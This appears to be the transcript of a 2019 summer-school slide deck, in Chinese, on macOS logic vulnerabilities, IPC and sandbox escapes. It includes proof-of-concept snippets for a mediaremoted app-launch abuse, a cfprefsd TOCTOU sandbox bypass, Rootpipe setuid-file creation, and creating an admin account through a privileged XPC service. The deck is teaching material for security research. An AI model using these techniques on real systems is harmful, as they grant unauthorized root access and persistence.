Lock in $30 Savings on PRO—Offer Ends Soon! ⏳

【GOSSIP 暑期学校 2019】macOS “非主流”逻辑提权漏洞研究

cc
August 17, 2019

【GOSSIP 暑期学校 2019】macOS “非主流”逻辑提权漏洞研究

cc

August 17, 2019
Tweet

More Decks by cc

Other Decks in Education

Transcript

  1. 关于讲师 • 蚂蚁金服光年实验室安全专家 • 聚焦产品安全和操作系统安全研究 • 受邀在 BlackHat USA、XDEF、HITB Ams、TyphoonCon

    等 会议演讲 • 获得过 Adobe、苹果、微软、VMware 等多个国内外厂 商的致谢 • 在 macOS / iOS 平台的逻辑漏洞有突出成果
  2. 书籍 • Mac OS X and iOS Internals: To the

    Apple's Core • 全文 pdf 作者已免费提供newosxbook.com/MOXiI.pdf • 中文译本:深入解析Mac OS X & iOS操作系统 • 小部分内容已过时 • *OS Internals • Newosxbook.com 书籍的更新版本 • Volume I - User Mode - Available, v1.2 - See detailed ToC • Volume II - Later this year (wrapping up notes for Darwin 19 betas) (暂未完成) • Volume III - Security & Insecurity is available, v1.6
  3. 书籍 • Mac OS X Internals: A SystemApproach (2006) •

    https://osxbook.com/ • The Mac Hacker’s Handbook (2009) • iOS Hacker’s Handbook (2012) • OS X and IOS Kernel Programming (2011)
  4. 环境 • macOS • 开发环境和调试器:Xcode, lldb • Trace 工具:fs_usage, dtruss

    • Binutils:nm, otool • 日志:Console.app, log • launchctl • plutil • 任一熟悉的脚本语言
  5. 环境 • LLDB 扩展 https://github.com/DerekSelander/LLDB • frida https://www.frida.re/docs/installation/ • 参考

    2018 年 GOSSIP 暑期学校课程 • *OS Internals Tools http://newosxbook.com/index.php?page=downloads • Process Explorer • FileMon • Jtool • SUpraudit • XPoCe • MachOView 可执行文件格式分析
  6. 环境 • 反汇编 / 反编译 • Ghidra • IDA Pro

    • radare2 • Hopper • class-dump • 系统监控 • Monitor.app by FireEye https://www.fireeye.com/services/freeware/monitor.html
  7. 逻辑漏洞 粗暴 简单 相对较少涉及 底层细节 难以 fuzz 不会产生明显 的崩溃现象 利用

    稳定 不需要破坏数 据结构 脑洞 大开 跨组件串联多 个条件
  8. All roads lead to Rome WebContent sandbox daemon (normal user)

    daemon (root user) daemon (normal user) kernel weaker sandbox weaker sandbox2 daemon (root user)
  9. 常见 IPC Pipe Shared file Shared Memory Mach Ports Distributed

    Notifications XPC CFPort Sockets TCP Unix Semaphore
  10. Mach IPC • http://web.mit.edu/darwin/src/modules/xnu/osfmk/man/ mach_msg_return_t mach_msg (mach_msg_header_t msg, mach_msg_option_t option,

    mach_msg_size_t send_size, mach_msg_size_t receive_limit, mach_port_t receive_name, mach_msg_timeout_t timeout, mach_port_t notify); PARAMETERS msg [pointer to in/out structure containing random and reply rights] A message buffer used by mach_msg both for send and receive. This must be naturally aligned.
  11. XPC • XPC | Apple Developer Documentation https://developer.apple.com/documentation/xpc • NSXPCConnection-

    Foundation | Apple Developer Documentation https://developer.apple.com/documentation/foundation/ns xpcconnection • macOS / iOS 最常用的 IPC
  12. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"

    "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.apple.xpc.example</string> <key>Program</key> <string>/usr/libexec/example</string> <key>MachServices</key> <dict> <key>com.apple.xpc.example</key> <true/> </dict> <key>EnableTransactions</key> <true/> </dict> </plist>
  13. xpc_connection_t c = xpc_connection_create("com.apple.service", NULL); xpc_connection_set_event_handler(c, ^(xpc_object_t event) { //

    Always set an event handler. More on this later. }); xpc_connection_resume(c); // Messages are always dictionaries. xpc_dictionary_t message = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_uint64(message, "X", 640); xpc_connection_send_message(c, message); xpc_release(message); xpc_connection_t listener = xpc_connection_create_mach_service(“com.apple.xpc.example”, NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER); xpc_connection_set_event_handler(listener, ^(xpc_object_t event) { // New connections arrive here. You may safely cast to // xpc_connection_t. You will never receive messages here. // The semantics of this handler are similar to those of // of the one given to xpc_main(). new_peer_event_handler((xpc_connection_t)event); }); xpc_connection_resume(listener);
  14. NSXPCConnection *connection = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.TicketAgent"]; connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(Agent)];

    [connection resume]; id proxy = [connection remoteObjectProxyWithErrorHandler:^(NSError *err) {}]; [proxy foo:@"bar", reply:^(Result *result) { NSLog(@"response: %@"); }]; NSXPCListener *listener = [NSXPCListener serviceListener]; id <NSXPCListenerDelegate> delegate = [MyDelegate new]; listener.delegate = delegate; [listener resume];
  15. Interceptor.attach(DebugSymbol.getFunctionByName('_xpc_connection_call_event_h andler'), { onEnter: function (args) { console.log(new ObjC.Object(args[0])); console.log(new

    ObjC.Object(args[1])); } }); <OS_xpc_connection: <connection: 0x7ffb14695d30> { name = com.apple.system.opendirectoryd.api, listener = false, pid = 102, euid = 0, egid = 0, asid = 100000 }> <OS_xpc_dictionary: <dictionary: 0x7ffb16d76d80> { count = 4, transaction: 1, voucher = 0x7ffb16d76af0, contents = "data" => <data: 0x7ffb16d76fb0>: { length = 116 bytes, contents = 0x62706c6973743030d2010203045866756e636e616d65546e... } "error" => <uint64: 0x7ffb16d76ff0>: 0 "client_id" => <uint64: 0x7ffb16d77010>: 1 "complete" => <bool: 0x7fff8c397b78>: true }> <OS_xpc_connection: <connection: 0x7ffb14695d30> { name = com.apple.system.opendirectoryd.api, listener = false, pid = 102, euid = 0, egid = 0, asid = 100000 }> <OS_xpc_dictionary: <dictionary: 0x7ffb16c431b0> { count = 4, transaction: 1, voucher = 0x7ffb16c60f80, contents = "data" => <data: 0x7ffb16c48420>: { length = 91 bytes, contents = 0x62706c6973743030d101025866756e636e616d655f10214f... } "error" => <uint64: 0x7ffb16c48200>: 0 "client_id" => <uint64: 0x7ffb16c4eca0>: 2 "complete" => <bool: 0x7fff8c397b78>: true }>
  16. 权限检查 • XPC 服务允许不同特权级别进程互相通信 • 跨 sandbox • 跨 euid

    • 通常使用代码签名限制(低权限)调用者 • https://developer.apple.com/documentation/security/code_signing_services • xpc_connection_set_event_handler 设置的 handler block 中处理事件 • xpc_connection_get_{gid,asid,egid,euid,audit_token} • xpc_get_type(event) == XPC_TYPE_CONNECTION • 回调函数检查传入的newConnection • -(BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection; • NSXPCConnectionprocessIdentifier, effectiveGroupIdentifier, effectiveUserIdentifier 和 auditToken 属性 • xpc_connection_get_audit_token 和 [NSXPCConnection auditToken] 为 私有 api
  17. 扩展阅读 • Mac OSX and iOS Internals: To the Apple’s

    Core • pwn4fun Spring 2014 - Safari - Part II https://googleprojectzero.blogspot.com/2014/11/pwn4fun- spring-2014-safari-part-ii.html • Auditing and Exploiting Apple IPC https://thecyberwire.com/events/docs/IanBeer_JSS_Slides. pdf • CVE-2017-7047 Triple_Fetch漏洞与利用技术分析 https://keenlab.tencent.com/zh/2017/08/02/CVE-2017- 7047-Triple-Fetch-bug-and-vulnerability-analysis/
  18. Entitlement • MachO 的代码签名中嵌入特殊的 XML (plist) 信息,赋予 文件额外的能力 • 更灵活的

    suid • 可供用户态和内核的 RPC 检查调用者权限 • 与代码签名绑定防止被滥用 • 部分 entitlement 仅 Apple 自带可执行文件可以使用 “taskgated: killed app because its use of the com.apple.*** entitlement is not allowed”
  19. 逃逸 • 现代浏览器基于多进程架构 • 渲染器进程处于沙箱中 • 不能创建子进程 • 受限制的文件系统读写 •

    受限制的系统调用 • …… • 目标:从渲染器任意代码执行到沙箱外任意代码执行
  20. UI Process WebKit2 Web Process API Boundary Application WebKit (UI

    Process) WebKit (Web Process) WebCore JS Engine https://trac.webkit.org/wiki/WebKit2 Web Process 2 WebKit (Web Process) WebCore JS Engine Web Process n WebKit (Web Process) WebCore JS Engine WebKit2 多进程架构
  21. iOS WebProcess • 当前 MobileSafari 基于多进程架构 • 沙箱配置文件直接编译到 Sandbox.kext •

    使用的 seatbelt-profiles 指定,进程启动后自动 初始化沙箱 $ jtool --ent com.apple.WebKit.WebContent <?xml version="1.0" encoding="UTF-8"?> ... <key>seatbelt-profiles</key> <array> <string>com.apple.WebKit.WebContent</string> </array>
  22. macOS WebProcess • WebKit::ChildProcess::initializeSandbox • https://opensource.apple.com/source/WebKit2/WebKit2- 7601.1.46.9/Shared/mac/ChildProcessMac.mm.auto.html • 基于私有 API

    sandbox_init_with_parameters 实 现 • 配置文件 /System/Library/Frameworks/WebKit.framew ork/Resources/com.apple.WebProcess.sb • 在进程初始化中存在一个无沙箱状态的时间窗口
  23. UI Process WebKit2 Web Process API Boundary Application WebKit (UI

    Process) WebKit (Web Process) WebCore JS Engine Kernel XNU Kernel Extensions Attack Kernel Attack Safari IPC daemons Dock windowserver cfprefsd ... Attack Userspace Services 攻击面
  24. 攻击内核 • 后续将介绍一种利用 com.apple.rootless.kext- secure-management 特权可执行文件攻击内核的方法, 但不适用于沙箱逃逸场景 • 需要内存破坏漏洞 •

    参考 ◦ pwn4fun Spring 2014 - Safari - Part II - Ian Beer ◦ Pwning the macOS Sierra Kernel inside the Safari Sandbox - Team Pangu ◦ IPC Voucher UaF Remote Jailbreak - @S0rryMybad
  25. Various Services unix socket nsurlstoraged mediaremoted cfprefsd shmem windowserver Mach

    Messages CFPort MIG XPC NSXPC Distributed Notifications CFMessagePort com.apple.speech. speechsynthesisd com.apple.hiservic es-xpcservice mDNSResponder WebProcess semaphore Sandbox 攻击系统服务
  26. 攻击系统服务 • 通过 IPC 触发跨进程的代码执行逃逸沙箱 • 选择目标 • 部分服务仍然具有沙箱,但具有宽松的限制 •

    部分服务以 root 权限运行,可一次性获得更高权限 • 绝大多数被成功利用的 IPC 服务基于 Mach 消息:MIG、 XPC、NSXPC • 使用 launchctl dumpstate 命令查找可用的 Mach 端口 • WindowServer 曾是理想的目标,多次在 Pwn2Own 中被 利用 • 类似 Windows 中的 win32k,(曾经)可以在沙箱访问、具有复 杂的图形 API 和可切换到高权限
  27. ➜ ~ sudo procexp 70260 ports com.apple.WebKit:70260:0x103 task, kernel 0xa12c239

    com.apple.WebKit:70260:0x203 com.apple.WebKit:70260:0x307 (thread) 0xa12c4d9 com.apple.WebKit:70260:0x403 com.apple.WebKit:70260:0x503 com.apple.WebKit:70260:0x607 com.apple.WebKit:70260:0x707 ->launchd:1:0x35d0f com.apple.WebKit:70260:0x803 (clock) 0xd6df43c9 com.apple.WebKit:70260:0x903 com.apple.WebKit:70260:0xa03 (voucher) 0xd8c4b8c9 com.apple.WebKit:70260:0xb03 "com.apple.system.opendirectoryd.libinfo" ->opendirectoryd:109:0x4803 ➜ ~ launchctl dumpstate | grep XPC_SERVICE_NAME | head XPC_SERVICE_NAME => com.apple.rpmuxd XPC_SERVICE_NAME => com.apple.wifiFirmwareLoader XPC_SERVICE_NAME => com.apple.uninstalld XPC_SERVICE_NAME => com.apple.kextd XPC_SERVICE_NAME => com.apple.diagnosticextensions.osx.spotlight.helper XPC_SERVICE_NAME => com.apple.duetknowledged XPC_SERVICE_NAME => com.apple.tzlinkd XPC_SERVICE_NAME => com.apple.diagnosticextensions.osx.timemachine.helper XPC_SERVICE_NAME => com.apple.kcproxy XPC_SERVICE_NAME => com.apple.fseventsd 枚举 XPC 服务
  28. 攻击 WebKit 自带 IPC • WebKit2 架构中具有多种角色的进程 • WebProcess, UIProcess,

    NetworkProcess, ServiceWorkerProcess and PluginProcess • 源码 Source/WebKit/Platform/IPC • 基于 WTF::RunLoop 消息循环 • 消息序列化和路由基于 IPC::Encoder • 最终到达 ChildProcessProxy 的子类触发对应的方 法
  29. frame #4: 0x00007fff5146bb9a WebKit` WebKit::WebProcessPool::handleMessage(IPC::Connection&, WTF::String const&, WebKit::UserData const&) +

    110 frame #5: 0x00007fff51475d4e WebKit` WebKit::WebProcessPool::didReceiveMessage(IPC::Connection&, IPC::Decoder&) + 142 frame #6: 0x00007fff511f23b9 WebKit` IPC::MessageReceiverMap::dispatchMessage(IPC::Connection&, IPC::Decoder&) + 65 frame #7: 0x00007fff51478476 WebKit` WebKit::WebProcessProxy::didReceiveMessage(IPC::Connection&, IPC::Decoder&) + 46a frame #8: 0x00007fff511bf204 WebKit` IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) + 130 frame #9: 0x00007fff511c1aa3 WebKit` IPC::Connection::dispatchIncomingMessages() + 731 frame #10: 0x00007fff45beb4e7 JavaScriptCore` WTF::RunLoop::performWork() + 231
  30. WebProcess UIProcess send(Messages::WebPageProxy::SavePDFToFileInDownloadsFol der(suggestedFilename, originatingURL, IPC::DataReference(data, size))); void WebPageProxy::savePDFToFileInDownloadsFolder(String&& suggestedFilename,

    URL&& originatingURL, const IPC::DataReference& dataReference) (Source/WebKit/WebProcess/WebPage/WebPage.cpp) (Source/WebKit/UIProcess/WebPageProxy.cpp) SavePDFToFileInDownloadsFolder(String suggestedFilename, WebCore::URL originatingURL, IPC::DataReference data) (Source/WebKit/WebProcess/WebPage/WebPage.messages.in)
  31. ➜ ~ nm /System/Library/PrivateFrameworks/Safari.framework/Safari | grep BrowserContextInjectedBundleClient | c++filt -_

    00000000000c0f64 T Safari::BrowserContextInjectedBundleClient::dispatchMessage(NSString*, Safari::WK::Type const&) 00000000000c0552 T Safari::BrowserContextInjectedBundleClient::dispatchSynchronousMessage(NSString*, Safari::WK::Type const&, Safari::WK::Type&) 00000000000c0f18 T Safari::BrowserContextInjectedBundleClient::didReceiveMessageFromInjectedBundle(Safari::WK::Conte xt const&, Safari::WK::String const&, Safari::WK::Type const&) 000000000000fb32 T Safari::BrowserContextInjectedBundleClient::getInjectedBundleInitializationUserData(Safari::WK::C ontext const&) 00000000000c00da T Safari::BrowserContextInjectedBundleClient::didReceiveSynchronousMessageFromInjectedBundle(Safari ::WK::Context const&, Safari::WK::String const&, Safari::WK::Type const&, Safari::WK::Type&) Safari 扩展的 IPC • WebKit 提供了 InjectedBundle API 可以添加额外的 事件委托,处理自定义的 IPC 消息等 • Safari 使用此函数实现了一些闭源的 IPC 功能
  32. 内核资源 • MIG 方法没有对应的 sandbox 语法,由各自函数自行实 现沙箱检查 • sysctl (deny

    sysctl*) (allow sysctl-read (sysctl-name "Hw.byteorder" "Hw.busfrequency_max" "hw.cputype" • IOKit (allow iokit-open (iokit-connection "IOAccelerator") (iokit-registry-entry-class "IOAccelerationUserClient") (iokit-user-client-class "IOHIDParamUserClient")
  33. Mach IPC • 用户态服务 (allow mach-lookup (global-name com.apple.gpumemd.source")) (allow mach-lookup

    (xpc-service-name "com.apple.PerformanceAnalysis.animationperfd") • 函数原型 xpc_connection_t xpc_connection_create_mach_service(const char *name, dispatch_queue_t targetq, uint64_t flags); • flags ◦ xpc-service-name: XPC_CONNECTION_MACH_SERVICE_LISTENER ◦ global-name: XPC_CONNECTION_MACH_SERVICE_PRIVILEGED 或直 接使用 bootstrap_look_up
  34. 其他 IPC • 共享内存 (allow ipc-posix-shm-read* (ipc-posix-name "apple.shm.notification_center") (ipc-posix-name-prefix "apple.cfprefs."))

    • Unix Socket (allow network-outbound (literal "/private/var/run/mDNSResponder") (literal "/private/var/run/syslog")) • Distributed Notifications (allow mach-lookup (global-name-regex #"^com.apple.distributed_notifications"))
  35. 可写目录 • 对缓存和临时目录具有读写权限 (if (positive? (string-length (param "DARWIN_USER_CACHE_DIR"))) (allow-read-write-directory-and-issue-read-write-extensions (param

    "DARWIN_USER_CACHE_DIR"))) (if (positive? (string-length (param "DARWIN_USER_TEMP_DIR"))) (allow-read-write-directory-and-issue-read-write-extensions (param "DARWIN_USER_TEMP_DIR"))) • 禁止创建软连接 (if (defined? 'vnode-type) (deny file-write-create (vnode-type SYMLINK))) • 位置:/private/var/folders/<random-string>/{C,T}/com.apple.WebKit.WebContent+com.apple.Safari • 其中创建的文件会被加上 com.apple.quarantine 标记 • 不能直接利用,但可以辅助触发其他漏洞 • 写入 dylib 等载荷
  36. 媒体热键实现 ⏯ mediaremoted rcd iTunes HID event XPC LaunchService MediaRemote`MRMediaRemoteSendCommandToApp

    rcd`HandleMediaRemoteCommand + 260 rcd`HandleHIDEvent + 736 LaunchServices`LSOpenCFURLRef MediaServices`MSVLaunchApplication + 127 mediaremoted`MRDLaunchApplication + 234 mediaremoted`-[MRDRemoteControlServer _enqueueCommand:forApplication:withCompletion:] + 1199 mediaremoted`__66-[MRDRemoteControlServer _sendLocalCommand:withCompletionHandler:]_block_invoke + 2320 mediaremoted`-[MRDRemoteControlServer _shouldIgnoreCommand:completion:] + 998 mediaremoted`-[MRDRemoteControlServer _sendLocalCommand:withCompletionHandler:] + 491 mediaremoted`-[MRDRemoteControlServer _handleSendCommandMessage:fromClient:] + 560 mediaremoted`-[MRDRemoteControlServer handleXPCMessage:fromClient:] + 159 mediaremoted`-[MRDMediaRemoteServer handleXPCMessage:fromClient:] + 514 mediaremoted`-[MRDMediaRemoteClient _handleXPCMessage:] + 136
  37. Bug • XPC 服务正好可以在 WebContent 沙箱中访问 ;; Various services required

    by AppKit and other frameworks (allow mach-lookup (global-name "com.apple.mediaremoted.xpc") • 如果伪造一个播放器状态消息,能不能启动自定义的程 序?
  38. XPC 消息分析 <OS_xpc_dictionary: { count = 2, transaction: 1, voucher

    = 0x7f90ce705df0, contents = "MRXPC_NOWPLAYING_PLAYER_PATH_DATA_KEY" => : { length = 4 bytes, contents = 0x12020800 } "MRXPC_MESSAGE_ID_KEY" => : 0xf015 }> <OS_xpc_dictionary: { count = 5, transaction: 1, voucher = 0x7f90ce705df0, contents = "MRXPC_NOWPLAYING_PLAYER_PATH_DATA_KEY" => : { length = 23 bytes, contents = 0x0a150801120b6363616e742e6c6f63616c18cc86bde204 } "MRXPC_COMMAND_KEY" => : 2 "MRXPC_MESSAGE_ID_KEY" => : 0xf00001 "MRXPC_COMMAND_OPTIONS_KEY" => : { length = 359 bytes, contents = 0x62706c6973743030d401020304050607085f10356b4d524d... } "MRXPC_COMMAND_APP_OPTIONS_KEY" => : 1 }> • MRXPC_MESSAGE_ID_KEY:消息 id,用来派发到指定的 handler • MRXPC_NOWPLAYING_PLAYER_PATH_DATA_KEY:序列化后的 MRNowPlayingPlayerPathProtobuf类
  39. XPC 消息格式 0x000000f00001 Primary handler Sub handler 0xf00 [MRDMediaRemoteServer _handleServerXPCMessage:fromClient:]

    0xf000 [MDRNowPlayingServer handleXPCMessage:fromClient:] 0xf0000 [MRDAVRoutingServer handleXPCMessage:fromClient:] 0xf00000 [MRDRemoteControlServer handleXPCMessage:fromClient:] 0xf000000 [MRDBrowsableContentServer handleXPCMessage:fromClient:] 0xf000000000 [MRDVirtualAudioInputServer handleXPCMessage:fromClient:] 0xf00000000000 [MRDAgentServer handleXPCMessage:fromClient:] MRDRemoteControlServer 0xF00001LL _handleSendCommandMessage:fromClient: 0xF00002LL _handleGetSupportedCommandsMessage:fromClient: 0xF00003LL _handleSetSupportedCommandsMessage:fromClient: 0xF00004LL _handleBroadcastCommandMessage:fromClient: [MRDRemoteControlServer _handleSendCommandMessage:fromClient:]
  40. XPC 消息格式 • 部分复杂参数被序列化成 NSData / xpc_data 方便共享 • MediaRemote

    库实现了一系列私有函数处理序列化和发 送消息 [Local::mediaremoted]-> Object.keys(ObjC.classes).filter(name => name.endsWith('Protobuf')) [ "_MRGameControllerMotionProtobuf", "_MRTransactionKeyProtobuf", "_MRRegisterHIDDeviceMessageProtobuf", "_MRVideoThumbnailProtobuf", "_MRSendVoiceInputMessageProtobuf", "_MRGameControllerMessageProtobuf", "_MRUnregisterGameControllerMessageProtobuf", "_MRGetVoiceInputDevicesMessageProtobuf", "_MRSetNowPlayingClientMessageProtobuf", ... @interface _MRNowPlayingPlayerPathProtobuf : PBCodable <NSCopying> { _MRNowPlayingClientProtobuf *_client; _MROriginProtobuf *_origin; _MRNowPlayingPlayerProtobuf *_player; }
  41. 触发 bug • _MRNowPlayingPlayerPathProtobuf 类具有三个 关键属性:origin, client 和 player •

    属性 origin 指向 _MRNowPlayingClientProtobuf 对象,其 bundleIdentifier 属性可以被任意伪造 @interface _MRNowPlayingPlayerPathProtobuf : PBCodable <NSCopying> { _MRNowPlayingClientProtobuf *_client; _MROriginProtobuf *_origin; _MRNowPlayingPlayerProtobuf *_player; } @interface _MRNowPlayingClientProtobuf : PBCodable <NSCopying> { NSString *_bundleIdentifier; NSMutableArray *_bundleIdentifierHierarchys; NSString *_displayName; int _nowPlayingVisibility; NSString *_parentApplicationBundleIdentifier; int _processIdentifier; int _processUserIdentifier; }
  42. 触发 bug • 使用私有函数创建一个 _MRNowPlayingClientProtobuf 对象 • MRNowPlayingClientCreate • 使用私有函数模拟播放按键事件

    • MRMediaRemoteSendCommandToClient • mediaremoted 会从消息中读取 bundle id 属性,调用 LaunchService 启动对应的 App • 弹计算器
  43. extern id MRNowPlayingClientCreate(NSNumber*, NSString *); extern id MRMediaRemoteSendCommandToClient(int, NSDictionary*, id,

    id, int, int, id); id client = MRNowPlayingClientCreate(nil, @"com.apple.calculator"); NSDictionary *args = @{@"kMRMediaRemoteOptionDisableImplicitAppLaunchBehaviors" : @NO}; MRMediaRemoteSendCommandToClient(2, args, nil, client, 1, 0, ^void(unsigned int a1, CFArrayRef a2) {}); 弹计算器
  44. 在 iOS 上滥用 • 此问题同样可以在 iOS 上启动任意 App • 不通过官方推荐的

    URL Scheme • 特别地,App 被作为媒体播放器启动,允许额外的后台 运行时间 • 使用计时器不断发送消息“启动”自身,可获得无限制的 后台运行时间
  45. Wade Logan wakeup wakeup wakeup wakeup “全家桶”App • 如果有两个以上App,可以变成“全家桶” •

    A 启动 B • B 启动 A • 启动任意一个 App 可唤醒全部 • 上滑关闭 A 和 B 应用后,实际上所有App 仍然在后台运行 • 无需越狱
  46. Preferences 函数 • 类似 NSUserDefaults,CoreFoundation 的 Preferences 工具函数可以读写 plist 文件,通常用来保存偏好设置

    • 文件路径通常为 • root 服务进程:/Library/Preferences • 没有 App 容器化的macOS 应用:~/Library/Preferences • 上架 App Store 的 macOS 应用: ~/Library/Containers/{bundle_id}/Data/Library/ Preferences • NSUserDefaults 专门为沙箱环境设计,而 Preferences 工具函数则支持传入绝对路径(而不是命名 空间)来访问 plist
  47. 实现 • 持久化操作实际上由 cfprefsd 完成 • 内部实现有沙箱检查 • 只是到底有没有写对呢…… App

    cfprefsd CFPreferencesSetAppValue(@"key", @"value", @"/path/to/plist"); OK Access Control Write
  48. TOCTOU • Safari 渲染器启动时是没有沙箱的 • 初始化完毕后才会调用私有函数进入 sandbox 状态 • 然而初始化期间

    AppKit 会主动访问 CFPreferences • cfprefsd 会一直记住这个“无沙箱”状态 frame #17: 0x00007fff454e015a CoreFoundation` _CFPreferencesCopyAppValueWithContainerAndConfiguration + 107 frame #18: 0x00007fff47868b94 Foundation` -[NSUserDefaults(NSUserDefaults) init] + 1423 frame #19: 0x00007fff47870c3a Foundation` +[NSUserDefaults(NSUserDefaults) standardUserDefaults] + 78 frame #20: 0x00007fff42a3ba4e AppKit` +[NSApplication initialize] + 90 frame #21: 0x00007fff71678248 libobjc.A.dylib` CALLING_SOME_+initialize_METHOD + 19 frame #22: 0x00007fff7166800c libobjc.A.dylib` _class_initialize + 282 frame #23: 0x00007fff71667a19 libobjc.A.dylib` lookUpImpOrForward + 238 frame #24: 0x00007fff71667494 libobjc.A.dylib` _objc_msgSend_uncached + 68 frame #25: 0x0000000100001627 com.apple.WebKit.WebContent` ___lldb_unnamed_symbol1$$com.apple.WebKit.WebContent + 519 frame #26: 0x00007fff72743ed9 libdyld.dylib` start + 1
  49. TOCTOU Renderer Process sandbox 4.sandbox_init _with_paramete rs cfprefsd 1. CFPreferences

    CopyAppValue 2.sandbox_check, no sandbox 3.mark as "not sandboxed" 5. CFPreferences SetAppValue 6. I have checked the sandbox state, go ahead
  50. Root 提权 • 加载驱动、安装软件包等操作需要 root 权限 • 在高权限进程中直接执行代码 • 动态模块加载

    • 滥用高权限进程的功能 • 子进程创建 • 文件系统读写等 • entitlement • 滥用 ipc 返回的资源 • 文件描述符 • mach port • 即使 root 用户,仍然受到 SIP 限制
  51. Root 提权 • 攻击对象 • 内核 • 用户态 root 权限进程的IPC

    • 系统自带服务 • /System/Library/LaunchDaemons • /Library/LaunchDaemons • 第三方软件服务 • SMJobBless • 通常位于 /Library/PrivilegedHelperTools • 枚举: • ps -U root • launchctl dumpstate
  52. SIP (Rootless) • System Integrity Protection • 默认开启,限制 root 用户的权限

    • 系统自带目录只读 • 内核驱动强制代码签名 • 不允许调试内置程序 • 在用户态可用 csrutil 命令或 csr_checkAPI 检查
  53. Rootpipe • writeconfig 进程以 root 权限执行,并可通过进程间通信 访问 • 暴露后门 API

    可用于向指定路径写入任意属性文件 id auth = [objc_lookUpClass("SFAuthorization") authorization]; id sharedClient = [objc_lookUpClass("WriteConfigClient") sharedClient]; [sharedClient authenticateUsingAuthorizationSync: auth]; id tool = [sharedClient remoteProxy]; [tool createFileWithContents:data path:[NSString stringWithUTF8String:target] attributes:@{ NSFilePosixPermissions : @04777 }]; • 生成具有 setuid 属性的文件,执行获得 root • https://en.wikipedia.org/wiki/Rootpipe • https://www.slideshare.net/Synack/stick-that-in-your- rootpipe-smoke-it
  54. dyld_process_is_restricted • dyld 在如下情况会将进程标记为受限制 • 可执行文件具有 setuid 属性 • 存在

    __restrict 或者 __RESTRICT 区段 • 代码签名中有 entitlement • 受限制的进程会忽略 DYLD_* 环境变量 • 在 SIP 关闭后,对进程不做限制
  55. 关闭 SIP 的后果 • SIP 可进入 Recovery Mode 后 csrutil

    disable 关闭 • 关闭后 dyld 不限制模块注入 DYLD_INSERT_LIBRARIES • 注入模块到具有特殊 entitlement 的可执行文件 • 一定条件下可直接提升权限到 root bool usingSIP = (csr_check(CSR_ALLOW_TASK_FOR_PID) != 0); uint32_t flags; if ( csops(0, CS_OPS_STATUS, &flags, sizeof(flags)) != -1 ) { // On OS X CS_RESTRICT means the program was signed with entitlements if ( ((flags & CS_RESTRICT) == CS_RESTRICT) && usingSIP ) { gLinkContext.processIsRestricted = true; }
  56. DEFCON 26 Quals IPwnKit 非预期解 • 题目:攻击具有漏洞的自定义内核扩展 • 环境:当时最新版全补丁的 macOS,为了加载扩展关闭

    了 SIP • 非预期解 • 使用 DYLD_INSERT_LIBRARIES注入 /System/Library/CoreServices/Setup Assistant.app/Contents/MacOS/Setup Assistant • 具有 com.apple.mbsystemadministration特权 • 可通过 XPC 服务直接创建管理员权限账户并设置密码 • 创建一个新账户,使用 sudo获取 root 权限 • 急速拿到 first blood
  57. NSString *kXPCServiceName = @"com.apple.mbsystemadministration"; NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:kXPCServiceName

    options:NSXPCConnectionPrivileged]; conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MBSAProtocol)]; [conn resume]; id remote = [conn remoteObjectProxyWithErrorHandler:^(NSError *proxyError) {}]; NSDictionary *info = @{ @"kUserName" : @kUserName, @"kUserFullName" : @kUserName, @"kHint" : @"ourhardworkbythesewordsguardedpleasedontsteal", @"kPassword" : @kPassword, @"kAdministrator" : @YES, }; dispatch_semaphore_t wait_for = dispatch_semaphore_create(0); [remote createUserWithInfo:info completionBlock:^(unsigned int state) { dispatch_semaphore_signal(wait_for); }]; dispatch_semaphore_wait(wait_for, dispatch_time(DISPATCH_TIME_NOW, 2ull * NSEC_PER_SEC));
  58. 2018–06–24 18:03:46.131 tmdiagnose[15529:a03] Executing `/usr/sbin/spindump -notarget 15 - file /private/var/tmp/[email protected]/system_state_18.03.46/spindump.txt`

    2018–06–24 18:03:48.206 tmdiagnose[15529:1d03] Executing `/usr/bin/fs_usage -w -t 10 -e tmdiagnose` 2018–06–24 18:04:10.392 tmdiagnose[15529:4d03] Executing `/bin/ps auxh` 2018–06–24 18:04:10.652 tmdiagnose[15529:4d03] Executing `/usr/bin/top -l 10` 2018–06–24 18:04:20.631 tmdiagnose[15529:5203] Executing `/usr/bin/powermetrics -i 1000 -n 10 — show-all` 2018–06–24 18:04:31.227 tmdiagnose[15529:a03] Executing `/usr/bin/sample -file /private/var/tmp/[email protected]/samples/backupd.txt backupd 5` 2018–06–24 18:04:36.915 tmdiagnose[15529:a03] Executing `/usr/bin/sample -file /private/var/tmp/[email protected]/samples/Finder.txt Finder 5` 2018–06–24 18:04:42.351 tmdiagnose[15529:1f03] Executing `/bin/ls -la /Volumes/` 2018–06–24 18:04:42.418 tmdiagnose[15529:1f03] Executing `/bin/df -H` 2018–06–24 18:04:42.486 tmdiagnose[15529:1f03] Executing `/sbin/mount` 2018–06–24 18:04:42.556 tmdiagnose[15529:1f03] Executing `/usr/sbin/diskutil list` 2018–06–24 18:04:42.692 tmdiagnose[15529:1f03] Executing `/usr/sbin/diskutil cs list` 2018–06–24 18:04:42.760 tmdiagnose[15529:1f03] Executing `/usr/sbin/diskutil apfs list` 2018–06–24 18:04:42.956 tmdiagnose[15529:1f03] Executing `/bin/bash -c /usr/sbin/diskutil list | /usr/bin/awk ‘/disk/ {system(“/usr/sbin/diskutil info “$NF); print “*********************”}’` 2018–06–24 18:06:54.482 mddiagnose[15688:1755714] Executing ‘/usr/local/bin/ddt mds’… 2018–06–24 18:06:54.485 mddiagnose[15688:1755714] Executing ‘/usr/local/bin/ddt mds_stores’… 2018–06–24 18:06:54.485 mddiagnose[15688:1755714] Executing ‘/usr/local/bin/ddt corespotlightd’… tmdiagnose 通过 NSTask 执行多个外部命令:
